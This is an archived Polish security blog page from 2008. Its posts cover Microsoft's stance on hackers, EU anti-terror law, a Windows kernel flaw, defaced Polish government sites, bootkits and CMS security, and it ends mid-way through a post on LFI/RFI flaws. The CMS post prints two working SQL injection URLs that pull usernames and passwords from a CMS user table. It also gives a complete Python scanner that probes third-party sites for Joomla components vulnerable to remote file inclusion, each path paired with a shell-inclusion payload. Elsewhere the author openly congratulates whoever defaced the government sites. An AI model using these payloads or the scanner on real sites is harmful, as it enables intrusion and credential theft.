RSS

Archiwum kategorii: Bezpieczeństwo

Microsoft Pozwala Atakować Swoje Serwisy, Ale…

Microsoft jest pierwszą dużą firmą, która obiecała, że nie będzie pozywała hakerów za ataki na jej online’owe serwisy. Pod warunkiem, oczywiście, że ataki będą miały na celu wykrycie istniejących luk, a nie zaszkodzenie samym serwerom.

Prawo większości krajów zezwala bowiem specjalistom na wyszukiwanie luk w oprogramowaniu, które zainstalowali na własnym komputerze, jednak wszelkie próby testowania zabezpieczeń witryn osób czy firm trzecich, są nielegalne i często surowo karane. Czasami dochodziło do tego, że osoba, która odkryła luki w zabezpieczeniach jakiegoś serwera i informowała o tym jego właściciela, stawała przed sądem.

Alex Stamos, z firmy iSEC Partners, która specjalizuje się w testach penetracyjnych, stwierdził:

Specjaliści obawiają się znajdować luki w aplikacjach sieciowych, bo nigdy nie wiadomo, jak zareaguje firma, na której serwerach są one zainstalowane. To powoduje problemy, bo jedynymi ludźmi, którzy wyszukują te luki, są cyberprzestępcy

 
Leave a comment

Posted by w dniu 23 Kwiecień, 2008 in Bezpieczeństwo, Ogólna

 

Tagi:

UE: “Nawoływanie do terroryzmu” Przez Internet Będzie Karane

DI

Przepisy, które pozwalają na karanie osób nawołujących przez Internet do terroryzmu, zostały przyjęte przez Radę Unii Europejskiej. Prawodawcy zapewniają, że nie zostaną one wykorzystane do krępowania wolności wypowiedzi, ale nie da się ukryć, że decyzja jest dość kontrowersyjna.

Nowe przepisy znalazły się w przyjętej przez Radę nowelizacji Decyzji Ramowej z dnia 13 stycznia 2002, w oparciu o którą kształtowana jest europejska polityka wobec terroryzmu. Mówiąc najprościej nowelizacja wprowadza trzy nowe przestępstwa tzn.:

  • publiczną prowokację do popełnienia przestępstwa terroryzmu,
  • rekrutowanie do organizacji terrorystycznych oraz
  • przeprowadzanie szkoleń terrorystów
  • Pomysł ograniczenia w internecie treści związanych m. in. z produkcją bomb padł po raz pierwszy w listopadzie ubiegłego roku. Wtedy proponowano, aby strony zawierające takie instrukcje zniknęły z indeksów wyszukiwarek.

    Kontrowersje

    Europejscy prawodawcy zapewniają, że przepisy nie posłużą do krępowania wolności słowa. W informacji dla prasy czytamy, że osoby zamieszczające informacje dotyczące bomb będą skazane tylko wtedy, jeśli rozpowszechniane informacje przyczynią się do terroryzmu i zostaną umieszczone w Sieci z taką intencją.

    Nowe rozwiązania mimo wszystko krytykują obrońcy praw obywatelskich oraz niektórzy politycy. 7 kwietnia deputowani do Parlamentu Europejskiego oraz posłowie z parlamentów krajowych dyskutowali na ten temat.

    Brytyjska posłanka Sarah Ludford wskazała w trakcie rozmów na doniesienia brytyjskich mediów o tym, iż londyńska policja zagroziła aresztowaniami demonstrantom protestującym przeciwko okupacji Tybetu. Podstawą do aresztowań osób, które zakłóciły przebieg sztafety olimpijskiej miały być podobno… przepisy antyterrorystyczne. Deputowana dodała, że jej zdaniem kryminalizacja działań takich jak “nawoływanie” czy “podżeganie” szybko doprowadzi do uznania za przestępstwo również swobody wypowiedzi.

    Także francuska socjalistka Roselyne Lefrançois podkreśliła, że zapis o “nawoływaniu do terroryzmu” wymaga ścisłej definicji. “W tym miejscu pojawia się pytanie o granice wolności wypowiedzi” – mówiła Lefrançois mimo wszystko przyznając, że w Internecie nie brakuje stron gloryfikujących terroryzm i dających niebezpieczne wskazówki.

    Wciąż wiele pytań pozostaje bez odpowiedzi. Zanim przyjęta nowelizacja wejdzie w życie, odbędą się jeszcze dyskusje na ten temat w parlamentach krajowych. Niewykluczone, że wtedy przekonamy się, czy proponowanym przepisom bliżej do ochrony przed terroryzmem, czy do cenzury.

    Całość można przeczytać na stronach www.di.com.pl
     
    Leave a comment

    Posted by w dniu 22 Kwiecień, 2008 in Bezpieczeństwo, Ogólna

     

    Błąd W Jądrze Windows

    Powtarzając za onet.pl:

    Microsoft ostrzegł przed błędem w jądrze systemu Windows. Dzięki niemu zalogowany użytkownik może zwiększyć swoje uprawnienia i przejąć kontrolę nad systemem. Dziura występuje z OS-ach: Windows XP Professional z SP2, Windows Vista, Windows Server 2003 oraz Windows Server 2008.
    Szczególnie narażeni na niebezpieczeństwo są firmy hostujące, które pozwalają swoim klientom na wykonywanie własnego kodu na serwerach IIS i SQL.

    teletechNa stronach Microsoftu TechNet można przeczytać ,że problem ten dotyczy następujących systemów tejże firmy:

    Windows XP Professional Service Pack 2
    Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2
    Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
    Windows Server 2003 with SP1 for Itanium-based Systems and Windows Server 2003 with SP2 for Itanium based Systems
    Windows Vista and Windows Vista Service Pack 1
    Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1
    Windows Server 2008 for 32-bit Systems
    Windows Server 2008 for x64-based Systems
    Windows Server 2008 for Itanium-based Systems

    Ja się zastanawiam kto testował ten system operacyjny ???

     
    Leave a comment

    Posted by w dniu 21 Kwiecień, 2008 in Bezpieczeństwo, Ogólna

     

    Tagi:

    Nie Wiem Kto To Zrobił ,Ale Gratuluję…

    Taki fragment zacytuję ze strony serwisu www.cyberterroryzm.eu.

    Po tym jak we wtorek shakowana została witryna Ministerstwa Pracy i Polityki Społecznej, dnia dzisiejszego doszło do włamania na serwer utrzymujący witrynę Premiera RP.Redaktorów portalu cyberterroryzm.pl poinformował Czytelnik, pragnący zachować anonimowość, który na incydent [at] cyberterroryzm.pl przesłał informację o włamaniu oraz unikalne zrzuty ekranu przedstawiające jego narzędzia. Na stronach należących do KPRM znalazł się ponownie duży, tym razem inny kolorystycznie napis “HACKED”. Czyżby początek końca?

    Haker podmienił następujące witryny:

    • http://www.radalegislacyjna.gov.pl/
    • http://www.polonia.premier.gov.pl/
    • http://www.bz.premier.gov.pl/
    • http://www.dsc.kprm.gov.pl/
    • http://www.pzk.kprm.gov.pl/
    • http://www.budzetzadaniowy.gov.pl/
    • http://www.efs.kprm.gov.pl/

    DI Problem w tym ,że już wcześniej Dziennik Internautów ( Bardzo trudna nazwa ) podawał o zdarzeniu – Zhackowano stronę Ministerstwa Pracy i Polityki Społecznej.

    Oczywiście nic nie zrobiono bo i po co. Nic tam nie było , nie wyciekły dane . Nie dokonano kradzieży … Ot taki mało szkodliwy żart – ale czy aby na pewno ? Ktoś chciał zwrócić uwagę na siebie ? Czy na większyhacka problem ? Co Ciekawe w galerii wyżej cytowanego dziennika jest zrzut ekranu na którym w powiększeniu autor piesze “nic nie ma do kobiet …” Co to miało by oznaczać ? A to bo już miał zamiar dokonać włamu na stronę… Jaką ? Nikt jakoś tego nie przewidział ? Czy też nie sprawdził ?

    Ciekawej analizy dokonali także redaktorzy serwisu cyberterroryzm.eu :

    Przyjrzyjmy się bliżej serwerowi utrzymującemu serwisy internetowe Premiera RP. Na zrzucie ekranu przedstawionym poniżej widać, iż serwerem WWW utrzymującym strony jest Apache, wsparty PHP w wersji 4.4.7. Linux z jądrem systemu w wersji 2.6.9-1.667smp, który zainstalowano 2 listopada 2004 roku. Rozwoju PHP serii 4.* zaprzestano 31 grudnia 2007 roku i od tamtego czasu, rozwijana i zabezpieczana jest tylko seria 5.*. 3 stycznia wydano ostatnią wersję tej serii w wersji 4.4.8. Najnowszym jądrem systemu Linux serii 2.6* jest 2.6.25 z dnia 17 kwietnia 2008 roku. Czy te cztery lata różnicy w rozwoju oprogramowania Apache i wynajdowania w nim setek luk bezpieczeństwa nie wydaje się administratorom istotny?

    Cytowane zrzuty ekranu można zobaczyć ( źródło – cyberterroryzm.eu ) :

    Dodam od siebie tylko tyle:

    Nieszczęściem naszego Rządu jest to ,że ma takich “szefów bezpieczeństwa ” , a szczęściem jest to ,że nic o tym nie wie.

    Co ciekawe ,jaki jest zaskoczony Pan Policjant ( źródło DI ) :

    Oficer prasowy Komendy Głównej Policji Zbigniew Urbański powiedział IAR, że jest zdziwiony tym, że osoby atakujące wybierają na swój cel akurat strony rządowe. Jak wyjaśnił – grozi za to najwyższa możliwa kara związana z przestępstwami internetowymi – do ośmiu lat więzienia.

    A ja zapytam czy On widział treść umieszczoną na “shakowanej” stronie Ministerstwa Pracy i Polityki Społecznej ? Co tam jest – to ,że Haker ( z dużej litery ) pisze ( mój skrót ) ,że on w imieniu 2 milionów ludzi ,którzy musieli wyjechać z Polski dziękuje …

    Tu był prawdziwy zamysł człowieka , który dokonał “włamania” na strony cytowanego Ministerstwa.

    Oczywiście media dokonają interpretacji tego wyczynu po swojemu pomijając Ten tekst jako mało istotny.

    Już można przeczytać ( źródło DI ) :

    W tej chwili nie można z całą pewnością powiedzieć, czy ataku dokonała ta sama osoba, która dwa dni temu zostawiła informację o zhackowaniu na stronie ministerstwa Pracy i Polityki Społecznej. Informacja pozostawiona na stronie KPRM wyraźnie jednak na to wskazuje.

    Czy aby na pewno ? Wcale się nie dziwię temu człowiekowi ,że właśnie taki tekst tam umieścił. Nikt z młodych Polaków ( nie tylko programistów ) nie wyobraża siebie w następujący sposób:

    Coder

    Dlatego powiem ponownie – nie wiem kto to zrobił ,ale gratuluję.

     
    Leave a comment

    Posted by w dniu 18 Kwiecień, 2008 in Bezpieczeństwo, Ogólna

     

    Tagi:

    Bootkity – Co To Jest ?

    Bootkity to stara technika ataków, polegająca na zarażaniu komputera podczas jego startu. Teraz powraca w nowej, groźnej formie, atakując systemy Windows Vista.

    bookit W czasach systemu MS-DOS i Windows 3.11-95/98 wirusy tego typu występowały bardzo często. Obecnie technologia ta – wydawałoby się przestarzała – wraca do łask. Nowy system Microsoftu zawiera zabezpieczenia jądra, poważnie utrudniające instalację złośliwego oprogramowania jako jego składnika, więc crackerzy zaczęli szukać alternatywnej drogi do umieszczenia złośliwego kodu. Ponieważ obejście zabezpieczeń w Vista nie jest łatwe, przygotowali mechanizmy umożliwiające kontrolowane uruchomienie Windows w przejętym środowisku startowym.

    Pierwszym zwiastunem nowego zagrożenia była opublikowana na liście Usenet koncepcja utworzenia rootkita przejmującego kontrolę nad systemem Windows XP podczas jego uruchamiania.

    Rozrzucone ogniska choroby

    Chociaż jest wiele wirusów, które to robią, ten pomysł był bardzo zaawansowany, gdyż rootkit ten – określany też jako bootkit – modyfikował tylko główny rekord rozruchowy MBR (Master Boot Record) i umieszczał w kilku miejscach na dysku kod ładujący system w kontrolowanym przez siebie środowisku. Tym samym tropem poszła grupa hakerów eEye przygotowując pierwsze koncepcyjne fragmenty kodu przeznaczonego dla Visty, najdalej zaś poszła NVLabs, która przygotowała funkcjonalnego bootkita przejmującego kontrolę nad systemem i dokonującego jego zmian bez zapisu jakichkolwiek danych na dysk.
    Obecnie wirusy przenoszące się przez MBR są rzadkością, bo każdy program antywirusowy sprawdza integralność wszystkich etapów ładowania systemu Windows i umieszczanie jakiegokolwiek kodu w tym miejscu mija się z celem. Można, co prawda, modyfikować sposób dostępu do dysku w systemie, ale jest to pracochłonne i stosunkowo łatwe do wykrycia. Twórcy bootkitów znaleźli jednak sposób rozwiązania tego problemu – użyli opcji uruchomienia kodu z sieci, płyty lub z tymczasowo zarażonego dysku.

    Drogi ataków na Windows Vista

    Najprostsze do wykonania jest przygotowanie CD-ROM lub modyfikacja serwera DHCP. W przypadku startu z sieci, analiza powłamaniowa będzie skrajnie trudna, zaś odłączenie komputera od sieci i przeniesienie do separowanej sieci serwisowej w celu analizy spowoduje, że będzie on pracował zupełnie normalnie. Jeśli w firmie wykorzystuje się system IPS, to rootkit wykorzystujący PXE powinien wywołać alarm. Najtrudniejsza do wykrycia jest modyfikacja firmware w urządzeniach wewnątrz komputera (kontroler SCSI, karta sieciowa, karta graficzna itp.). Warto zauważyć, że rootkit umieszczany tą drogą zachowuje funkcjonalność także poza siecią firmy. To jest jego słaby punkt. Inne metody to:

    1. Modyfikacja sektorów startowych dysku twardego – jest to permanentna instalacja bootkita, niewymagająca zmian ustawień sprzętu. Narzędzia przeznaczone do wykrywania złośliwego kodu uruchamiane np. z płytki startowej sobie z tym poradzą. Być może wykryją to także programy antywirusowe.
    2. PXE – zdalny start komputera przy pomocy karty sieciowej i odpowiednich zasobów sieci lokalnej. Wymaga to włamania na serwer DHCP i włączenia (lub wyposażenia go) w opcję zdalnego uruchamiania innych komputerów tą drogą. Dodatkowo wymaga włączenia opcji startu z sieci jako pierwszego wykorzystywanego źródła uruchomienia komputera.
    3. Start z innego nośnika (CD-ROM, pamięć flash) – jest możliwe w przypadku odblokowania odpowiedniej opcji w BIOS i podstawieniu nośnika z bootkitem.
    4. Modyfikacja BIOS karty graficznej, sieciowej, kontrolera SCSI, innych urządzeń wyposażonych w modyfikowalną pamięć EEPROM, a niedostatecznie zabezpieczonych – modyfikacja tego typu jest bardzo trudna do wykrycia. Nie jest łatwo wykonać własny firmware, trudno również go wgrać, ale po udanym ataku maszyna jest praktycznie bezbronna do czasu usunięcia fragmentów złośliwego kodu z nieulotnej pamięci.

    Bootkit jest ładowany podczas uruchamiania komputera z płyty CD, nośnika USB lub startu z sieci przez PXE i pobraniu kodu ze skompromitowanego serwera DHCP/BOOTP. Bootkit uruchamia Windows Vista w kontrolowanym przez siebie środowisku, zaś program antywirusowy przy sprawdzaniu dysku nie wykaże żadnych nieprawidłowości. Po zamknięciu systemu, dysk także będzie “czysty”. Potencjalnie pozostaje możliwość wykrycia działającego bootkita w pamięci systemu. Ale dobrze napisany kod będzie potrafił ominąć algorytmy detekcji. Były już takie przypadki. Wystarczy wspomnieć choćby Hacker Defender Brilliant, który przez pewien czas wymykał się popularnym narzędziom do wykrywania złośliwych kodów. Programy antywirusowe wykrywają wszystkie omawiane tutaj bootkity, ale powstanie nowych jest tylko kwestią czasu.

    Model ataku

    Rootkit startujący system, czyli bootkit, najpierw przejmuje kontrolę nad systemem, później nad obsługą jednego z przerwań, a potem szuka systemu Windows Vista. Gdy go znajdzie, rozpoczyna jego modyfikację tak, aby ukryć się w małych porcjach kodu, rozproszonych w różnych obszarach pamięci. Bootkit omija zabezpieczenia, takie jak sumy kontrolne, sprawdzanie cyfrowych podpisów obiektów itd.

    Podczas ładowania jądra Windows Vista zostają zmodyfikowane zabezpieczenia systemu, tak aby bootkit został aktywny podczas pracy systemu, aż do jego restartu. Twórcy tego kodu analizowali wiele poziomów zabezpieczeń, od sum kontrolnych nagłówka PE, aż po cyfrowe podpisy plików. Wszystkie dostępne zabezpieczenia udało się obejść. Dzięki temu, że Windows Vista musi zachować pewien poziom zgodności z istniejącymi aplikacjami, bootkit może prawdopodobnie działać we wszystkich zlokalizowanych wersjach systemu, z polską działa bez problemu.

    Źródło Computerworld

    Inne :

     
    Leave a comment

    Posted by w dniu 15 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: ,

    Bezpieczeństwo CMS.

    Wiele napisano już o bezpizpieczeństwie Systemów Zarządzania Treścią ( dalej CMS ) . W wyszkiwarce Google odnalazłem 330 000 linków zawierających hasło “Bezpieczeństwo CMS”.

    Google

    Dla przypomnienia tylko – CMS (Content Management System) to skrót, który ostatnio na dobre zadomowił się w wielu językach. W dosłownym tłumaczeniu oznacza system zarządzania treścią stron publikowanych w internecie. Skrót cms stał się tak popularny, ponieważ technologia która za nim stoi wnosi bardzo dużo do sposobu zarządzania stronami internetowymi – zarządzania informacjami oraz sposobem ich wizualizacji.

    Popularność tych systemów jest oparta na tym ,że są “za darmo” – ale bądzmy realistami.W normalnym, realnym świecie utarło się, że jeśli coś jest za darmo, prawdopodobnie nie przedstawia dużej wartości. Generalnie mało jest rzeczy w realnym świecie które możemy dostać za darmo, nie mówiąc już o rzeczach wartościowych. Jednocześnie naszym podobnym skrótem myślowym jest, że jeśli coś kosztuje dużo to musi być dobre.Świat Internetu rządzi się trochę innymi prawami niż świat realny, i tutaj “darmowy” wcale nie oznacza do niczego, a wręcz przeciwnie. W sieci można znaleźć bardzo wiele różnego rodzaju aplikacji, które za darmo potrafią zrobić naprawdę bardzo wiele rzeczy.Ale nikt do końca może nie zdaje sobie sprawy ile niebezpieczeństw niesie ze sobą takie “darmowe oprogramowanie” w szczególności systemy CMS.Zacytuje tutaj “10 podstawowych błędów związnych z instalacja oraz administracją systemów CMS” tekst ten kiedyś , “krązył” w środowisku programistów oraz uzytkowników systemu CMS Joomla.

    • Wybierz najtańszego z możliwych dostawców hostingu, utrzymującego na swoich serwerach tysiace stron WWW, z których największy ruch generują serwisy porno.
    • Nie trać czasu na wykonywanie regularnych kopii zapasowych. Może administrator Twego serwera hostingowego kiedyś Ci pomoze.
    • Nie zawracaj sobie głowy dostrajaniem swojego CMS’a i PHP pod kątem bezpieczeństwa. Przecież instalacja była debilnie prosta! Jak reszta mogłaby być zła? Martw sie o szczegóły jedynie wtedy, jak wystąpi jakiś problem.
    • Używaj tego samego loginu i hasła do Twego konta w eBanku, do Panelu Administratora CMS’a, konta w sklepie internetowym, konta poczty elektronicznej itp. Hej, a kto ma czas spamiętać tyle haseł? Jakkolwiek by nie było, odkąd przestałeś zmieniać hasła o ileż łatwiejsze jest używanie tych samych danych zawsze i wszędzie.
    • Zainstaluj swój nowy, śliczny oparty o wybrany CMS serwis. Świętuj dobrze wykonaną robotę i przestań się martwić o cokolwiek. A już po wszystkim, skoro nie robisz innych zmian, to co może pójść nie tak? (Podpowiedź: bardzo dużo).
    • Rób wszystkie aktualizacje i poprawki na serwerze “produkcyjnym”, na żyjącym serwisie. Kto by tam potrzebował osobnego miejsca na testowanie i rozwój aplikacji? Jeśli jakaś instalacja się nie powiedzie – po prostu odinstaluj niedziałający składnik w nadziei ze wszystko wróci do normy.
    • Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.
    • Nie trać czasu na aktualizację twojego CMS’a do najnowszej wersji. Przecież póki co wszystko gra! Tak czy siak – za dużo byłoby z tym roboty.
    • Kiedy haker zaatakuje Twój serwis, zacznij siać panikę na forach dyskusyjnych i załóż nowy wątek z nikomu nieznanym tytułem “Pomocy! Hakerzy włamali mi się na stronę Co robić!?”. Bądź pewien, że nie podałeś , której to przestarzałej wersji Joomla oraz innych składników używasz.
    • Kiedy Twój serwis padnie ofiarą hakerów, skasuj wszystkie podmienione przez nich pliki i udawaj że już wszystko jest jak dawniej. Nie przeglądaj logów, nie zmieniaj haseł, nie kasuj zawartości swego serwisu w celu przywrócenia go ze sprawdzonej kopii zapasowej, nie wykonuj żadnych innych paranoidalnie przesadnych akcji. Kiedy napastnik wróci do Ciebie następnego dnia krzycz głośno “Znów hakerzy zepsuli mi stronę!” i że to wszystko wina twórców twego CMS’a. Zignoruj fakt, że usunięcie podmienionych plików to nawet nie jest pierwszy krok w złożonym procesie przywrócenia zaatakowanego serwisu do stanu pełnej używalności.

    Zaznaczyłem celowo innym kolorem dwa podpunkty , które mówią o bezpieczeństwie naszego systemu:

    Ufaj wszystkim rozszerzeniom pisanym przez firmy czy osoby trzecie i instaluj wszystkie wypasione wodotryski, jakie tylko znajdziesz w sieci. Ktoś był wystarczająco inteligentny, żeby napisać rozszerzenie do Joomli i na pewno stworzony przez niego kod jest na tyle perfekcyjny, że będzie blokować wszystkie próby exploitów teraz i na wieki. W końcu wszystkie te dodatki są utrzymywane za darmo przez wielkodusznych wolontariuszy o dobrych sercach, którzy na bank wiedzą co robią.

    Jeśli chcemy korzystać z wielu różnych funkcjonalności systemu, jesteśmy zmuszeni do doinstalowania do jądra dodatkowe moduły. Nie możemy być 100% pewni, że moduły które instalujemy pozbawione są błędów – zamierzonych lub niezamierzonych. Moduły pisane są przez osoby o różnym poziomie wiedzy. Często mimo najlepszych chęci w modułach znajdują się błędy, które zostają wykryte często dopiero w momencie, kiedy do któregoś serwisu dostaną się hakerzy.

    Oczywiście po wykryciu dziury przez któregoś z użytkowników portalu informacja ta bardzo szybko trafia na forum, gdzie od razu grupa programistów poprawia dany moduł, przygotowując odpowiednią poprawkę, którą wystarczy zainstalować w swoim systemie by móc spać spokojnie.Ale też hakerzy czytają fora i o tym też należy pamiętać.

    W przypadku systemów open source nie znamy intencji osób piszących moduły, które celowo mogą pozostawiać sobie furtki. Należy tutaj pamiętać, że jeśli na stronie zbieramy jakiekolwiek dane o użytkownikach – imię i nazwisko, adres czy nawet sam e-mail – odpowiadamy prawnie za ich bezpieczne przechowywanie. Jeśli do naszego serwisu włamie się haker i wykradnie naszą bazę mailingową i ta informacja dotrze do właściciela maila – może on dochodzić swoich praw zgodnie z ustawą o ochronie danych osobowych. Jest to przestroga dla tych wszystkich, którzy prowadzą sklepy internetowe w oparciu o systemy open source i przechowują w swojej bazie dane klientów.

    Problemem bezpieczeństwa systemów open source jest “otwartość” kodu źródłowego. W praktyce oznacza to, że każdy ma dostęp kodu aplikacji. W aplikacji napisanej do celów komercyjnych. kod jest strzeżoną tajemnicą właściciela. Kod programu dostępny jest tylko wąskiej grupie programistów – pracowników firmy, którzy często zobowiązani są do podpisania klauzuli o poufności informacji, łącznie z odpowiedzialnością finansową a nawet karną.

    Osobiście testowałem nie dawno portal oparty o jeden z bardziej znanych systemów CMS ( nie będę wymieniał jaki ) i doszedłem do wniosku ,że sam system CMS “pusty” bez dodatkowych modułów jest bardzo bezpieczny. No ale jak każdy dobry portal , system taki musi posiadać pewne funkcjonalności , które są realizowane przez dodanie odpowiednich modułów. Moduły zostały zainstalowane – ale trzeba było dokonać “spolszczenia” czyli stworzyć polskie wersje językowe. Podczas “tłumaczenia” znalazłem błędy w sztuce “zabezpieczeń” jakie popełniali autorzy tych modułów. Dla przykładu podam w jaki sposób zaatakować system techniką wstrzykiwania, doklejania dodatkowego zapytania SQL:

    • modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,

    pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/

    CMS_users/**/LIMIT/**/1,1/*”

    • modules/articles/index.php?cat_id=-1%20union%20select%201,

    concat(char(117,115,101,114,110,97,109,101,58)

    uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20CMS_users%20

    where%20uid%20like%201/*

    Wyników tak spreparowanego zapytania SQL nie będę komentował , powiem tylko tyle ,że przypadku wyżej wymienionych, tak spreparowanych “pleceń”, pojawiają się dane użytkowników. Oczywiście jeżeli dodatkowo nasz serwer na którym zainstalowano portal z takim modułem posiada taką “funkcjonalność” jak “pokaż wszystkie błędy” to już jest cudowne miejsce do nauki SQL’a i nie tylko.

    W nowo tworzonym portalu znalazłem aż 32 ( !!! ) “luki” – to też pozostawię bez komentarza. Oczywiście wszystkie “luki” zgłosiłem na oficjalnej Polskiej strony tegoż CMS’a . Oczywiście wychwycone błędy dotyczyły tylko modułów dodatkowo zainstalowanych w systemie , sam system , no cóż może za mało “czytałem kod” ???

    Pokusiłem się aby sprawdzić czy inne portale oparte o “mój” CMS ( z zainstalowanymi modułami – tak jak w moim przypadku ) posiadają te same “dziury” ?

    Jeżeli już znalazłem takie portale to w “ciemno” nie sprawdzałem czy “felerne” moduły są tam zainstalowane użyłem do tego Pythona ( potęga Pythona nie zna granic ) . Dla “zmylenia” poniżej podam tylko w jaki sposób dowiedzieć się czy system CMS Joomla posiada pewne ( interesujące mnie moduły ):

    import sys, re, httplib, time, socket
    def main(path):
    	try:
    		if proxy != 0:
    			h.putrequest("GET", "http://"+host+"/"+path)
    		else:
    			h.putrequest("HEAD", path)
    		h.putheader("Host", host)
    		h.endheaders()
    		status, reason, headers = h.getreply()
    		return status, reason
    	except(), msg:
    		print "Error Occurred:",msg
    		pass
    
    def timer():
    	now = time.localtime(time.time())
    	return time.asctime(now)
    
    if len(sys.argv) < 2 or len(sys.argv) > 5:
    	print "\nUsage: ./joomlascan.py  "
    	print "\t[options]"
    	print "\t   -p/-proxy  : Add proxy support"
    	print "\t   -404 : Won't show 404 responses"
    	print "Ex: ./test_joomla.py www.test.com -404 -proxy 127.0.0.1:8080\n"
    	sys.exit(1)
    
    for arg in sys.argv[1:]:
    	if arg.lower() == "-p" or arg.lower() == "-proxy":
    		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
    	if arg.lower() == "-404":
    		show = 404
    
    try:
    	if proxy:
    		print "\n[+] Testing Proxy..."
    		h2 = httplib.HTTPConnection(proxy)
    		h2.connect()
    		print "[+] Proxy:",proxy
    except(socket.timeout):
    	print "\n[-] Proxy Timed Out"
    	proxy = 0
    	pass
    except(NameError):
    	print "\n[-] Proxy Not Given"
    	proxy = 0
    	pass
    except:
    	print "\n[-] Proxy Failed"
    	proxy = 0
    	pass
    
    paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
    		"administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
    		"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
    		"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
    		"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
    "administrator/components/com_remository/admin.remository.php" : "admin.remository.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?lm_absolute_path=shell",
    		"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
    	"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
    				"com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_jjgallery/admin.jjgallery.php" : "administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_juser/xajax_functions.php" : "administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=shell",
    		"components/com_jreviews/scripts/xajax.inc.php" : "components/com_jreviews/scripts/xajax.inc.php?mosConfig_absolute_path=shell",
    		"com_directory/modules/mod_pxt_latest.php" : "com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=shell",
    		"administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/PPS/File.php" : "administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer.php" : "administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/PPS.php" : "administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php" : "administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=shell",
    		"administrator/components/com_chronocontact/excelwriter/Writer/Format.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=shell"}
    
    host = sys.argv[1]
    print "[+] Target:",host
    try:
    	if show == 404:
    		print "[+] 404 Block On\n"
    except(NameError):
    	print "[-] 404 Block Off\n"
    	show = 0
    	pass
    print "[+] Loaded:",len(paths),"paths"
    host = host.replace("http://","")
    if host.count("/") >= 2:
    	j_path = host.split("/",1)[1].replace("index.php","")
    	host = host.split("/",1)[0]
    else:
    	if host[-1:] == "/":
    		host = host[:-1]
    	j_path = ""
    
    if j_path[-1:] != "/":
    	j_path = j_path+"/"
    
    print "[+] Started:",timer()
    print "[+] Scanning..."
    time.sleep(3)
    
    if proxy != 0:
    	h = httplib.HTTP(proxy)
    else:
    	h = httplib.HTTP(host)
    
    for path, shell in paths.items():
    	print "\n[+] Trying:",j_path+path
    	try:
    		response, reason = main(j_path+path)
    		if show != 404:
    			print "[+] Got:",response, reason
    			print "[+] Shell:",shell
    		else:
    			if response != 404:
    				print "[+] Got:",response, reason
    				print "[+] Shell:",shell
    
    	except(AttributeError, TypeError, socket.error):
    		pass
    	except(KeyboardInterrupt):
    		pass
    print "\n[-] Done:",timer(),"\n"
    Powyższy kod napisano nie dla potrzeb testowania "zawartości" portali opartych o system CMS Joomla.
     
    Leave a comment

    Posted by w dniu 14 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: ,

    Testy Odpornośći Stron WWW Na Ataki LFI,RFI

    Atak LFI lub RFI są niebezpieczne nie tylko dla stron ale całych serwerów. Skutecznie przeprowadzony atak typu LFI lub RFI powoduje wyświetlenie na stronie pliku, do którego zwykły użytkownik nie powinien mieć dostępu – na przykład plik z hasłami. Błędu tego nie widać w źródle ( strony ), gdyż jest on błędem w kodzie php.

    Są to błędy wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().

    Przykład:

    <?php
    $file
    = $_GET['website'];
    if(
    file_exist($file))
    {
